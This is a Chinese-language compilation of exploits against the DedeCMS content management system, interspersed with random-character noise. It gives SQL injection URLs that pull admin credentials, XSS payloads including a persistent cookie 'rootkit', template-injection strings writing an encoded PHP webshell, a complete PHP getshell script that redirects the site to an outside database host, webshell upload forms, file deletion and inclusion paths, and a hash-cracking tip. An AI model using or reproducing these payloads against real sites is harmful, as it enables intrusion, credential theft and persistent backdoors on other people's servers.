dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
6 B: J$ w- n4 q+ l% shttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
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: I2 }. w% b, L# S' P0 H3 gDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
1 }  o1 k5 ?1 v7 s( ihttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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3 y+ U) k, d. [DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

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2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
1 S1 H, X- M5 S4 F- ~* [: x( J8 d; @& b<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
5 u) M: h8 i$ _* s& |+ tDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
* e$ q* V+ Y0 m& p, Y( [+ iecho "\r\n";
* T9 T; M8 y  H5 P. K" ]+ zif($argv[2]==null){
, v; G& f- x3 I, r6 z/ Uprint_r('
. m' N/ a6 r6 z& a2 h( d+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
* G$ ^, ?* N: x/ D2 n5 eExample:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
# j( p, ^- |, h) Z$ Iexit;
}
$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
, p$ o7 v$ q2 {7 \; z5 G+ y, Q$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
9 H  r2 ~3 m9 ?3 oExploit Success \n";
/ t, x" Z' l2 ~2 c0 lif($aid==1)echo "
, f# E- C0 T% z( E( R- w. _Shell:".$url."/$path/data/cache/fuck.php\n" ;

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if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
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/ {& o* V: w! n4 r. o}else{
0 L6 h, |5 B( ?5 wecho "
% @) x/ U  `$ V3 f: }. ]Exploit Failed \n";
}
5 ~2 S! q" o/ J7 Efunction Getshell($url,$aid,$path){
  C2 ~" z5 k' I$id=$aid;
$host=$url;
" \% S4 z" h5 D: k, T$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
6 k( j; o  F( i3 i/ l; V$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
3 b" ^  I8 }& Q# \$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 C5 a/ `' s  @2 P$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
6 w) e. ^) ~3 ^- E& q$ U//$data .= "Accept-Encoding: gzip,deflate\r\n";
9 A& W' }3 B/ Y5 h$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
  t4 ^7 D' |; H) E$data .= "Connection: keep-alive\r\n";
& ], R4 P- }! l2 h' K: ?6 P$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
/ W! _* {4 G' |. n' R* E" T$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
1 T+ m" Z  o, {$data .= $content."\r\n";
4 ~6 R% U' j% c$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
) o5 i0 c* }  X. E# Q4 {return $exp;
}
}
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DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
- r: t- Q* D% i0 thttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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1 s- X. k! U& Q4 [7 z5 v1 |5 d8 Y此漏洞的前提是必须得到后台路径才能实现
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9 j( x& N, Z8 v4 H* K/ XDedecms织梦 标签远程文件写入漏洞
+ H* s4 \% V4 }3 V* n6 I前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

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4 A  H, G( a. Y. m2 z& z$ F) V再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
! l  H; G- r" s  B! Z2 y, z<form action="" method="post" name="QuickSearch" id="QuickSearch">
, N8 i6 ]' p4 w! g0 p& V# S: h<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
% Y  z" y# q7 w+ j1 S' W0 t( a<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
" ~( a) w5 S3 u; {- g$ H<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
6 [6 t/ J9 z4 d- J6 F<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
' G' @1 t; F- \; U% F9 T</form>
% g, ?- J# @. L) b( u<script>
$ p( W) W7 G; t, gfunction addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
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</script>
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9 O# G! R  G& e# u6 M! }$ nDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
+ ?4 C0 G/ N- T, T& T% i注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
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模板内容是（如果限制图片格式，加gif89a）：
# h! ?6 c8 [$ L7 J) E7 ]4 g{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
$ o0 S$ {" P' |+ g( K6 B* i: U@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
! R) u: V, U+ T2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
" @3 L- h: g7 D( Z<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
& \8 X% J- Z# O! F3 m0 f. t1 B<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
5 ~1 j0 M0 \7 d# K. w<input type="hidden" name="sortrank" value="1275972263" />

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<div id="mainCp">
3 x4 S/ A5 F: D- W- ?0 V6 ^<h3 class="meTitle"><strong>修改文章</strong></h3>

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' Y$ [( G) U0 B' o- D% W<div class="postForm">
- X" H6 {# c+ q, }<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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: [" s# ?+ a, F2 d% H: ^: [<label>标签TAG：</label>
7 f  R0 b% c4 Y5 ~/ W) C<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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<label>隶属栏目：</label>
/ H& W, ~' b, s+ Y7 U! j6 c<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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<label>我的分类：</label>
<select name='mtypesid' size='1'>
* q& w% e6 Q7 b* y4 r% {1 n<option value='0' selected>请选择分类...</option>
) `; b% T' q2 r# [, y! B<option value='1' class='option3' selected>hahahha</option>
</select>


<label>信息摘要：</label>
6 r! L) ^) A9 I- u<textarea name="description" id="description">1111111</textarea>
: i6 Q& U  d' Q6 T; X(内容的简要说明)

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<label>缩略图：</label>
" S. G# K1 u' A) A4 C<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
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<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
9 K. ^; c' Q* W9 h& [5 e<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
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<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>


: Z6 j0 b, Y/ B2 O( h<div class="contentShow postForm">
$ y& @4 Y! _% o2 L<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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3 a* B0 s' ?5 ^0 l' g8 g<label>验证码：</label>
: ^+ Q4 u1 f, P3 u, l<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


) n4 t" a9 ^0 s! T3 B1 u1 X2 u& I<button class="button2" type="submit">提交</button>
  O% f8 f: ^! B: q. Y+ N<button class="button2 ml10" type="reset">重置</button>
$ x3 u/ q4 Q7 A* W& @( l( G$ d</div>
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. E; t- ?# h: J$ I0 \</div>


</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
+ V& I3 t8 K& M1 I8 a1 b7 s即可以在plus目录下生成webshell：1.php


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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
, A+ x& Q& b# |6 UGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
1 J' p3 }! X8 S<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
0 r9 B1 q( [/ A5 I$ v% |<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
& Q3 E2 i9 @) X+ o2 W<input name="addonfile" type="file" id="addonfile"/>
/ h' s- Z* ~' w<button class="button2" type="submit" >更改</button>
</form>
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构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
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<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
9 o) Y* ~* B; X* q/ L<input type="hidden" name="dopost" value="save" />
9 v. G6 D; F, |/ B& y<input type="hidden" name="aid" value="2" />
2 S) o6 v5 @% ^* Z, V2 H- M4 w8 o3 s<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
' @& [" G, v; \* l: F<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
: B  ~& l  c5 _, C% Q  y<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
2 z- a+ V8 L; c" G" B; D: e<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
5 u9 Y& `: k/ _6 U( P8 ?; f( W<option value='1' class='option3' selected=''>Test</option>
9 Q0 Q- n- {* j& t<select name='mtypesid' size='1'>
. U0 o8 I: o" m1 |$ ^, j, d<option value='0' selected>请选择分类...</option>
, G1 v, I9 M4 s<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
/ O+ ^2 n9 u6 ?3 k. d<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
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2 P4 ]% ~, m# x5 w' R/ k; F1 ?' I织梦(Dedecms)V5.6 远程文件删除漏洞
* a2 v& O7 F  S: N' \http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../


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/ B- W: x# d% c# zDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
1 B  s1 D! q4 E; z2 J+ ghttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
9 [/ X/ c2 K* }  N, N) h/ E* |<html>
<head>
% b4 f; g; V( ~1 D3 n0 a$ w% O: }<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
7 H# i4 D* M$ P- {/ A! V</head>
<body style="FONT-SIZE: 9pt">
' l9 I7 e' P8 H$ n8 a( s- g* Z4 i---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
3 ~1 |( o# C$ u. b0 w" U<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
! _/ Y7 N0 M9 T; N8 H- U  Y7 f<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
4 V" w# ^9 R8 p% q- B2 ]2 P: o<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
# y+ X6 w6 o# ^Select U Shell <input type='file' name='uploadfile' size='25' />
( a  ]) S9 N4 P+ a<input type='submit' name='sb1' value='确定' />
</form>
; G6 y% C: B2 H8 i) _" a4 Z, u<br />It's just a exp for the bug of Dedecms V55...<br />
. V  }/ s8 ?( }# `- P$ M$ x1 _" c3 }Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>


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织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
" N' T: t7 e, K  o, l% @1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


. n$ s$ r1 q6 s3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
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' N# s" X$ p6 K( w0 W<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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3 z6 m: M6 @; O6 c按确定后的看到第2步骤的信息表示文件木马上传成功.
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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*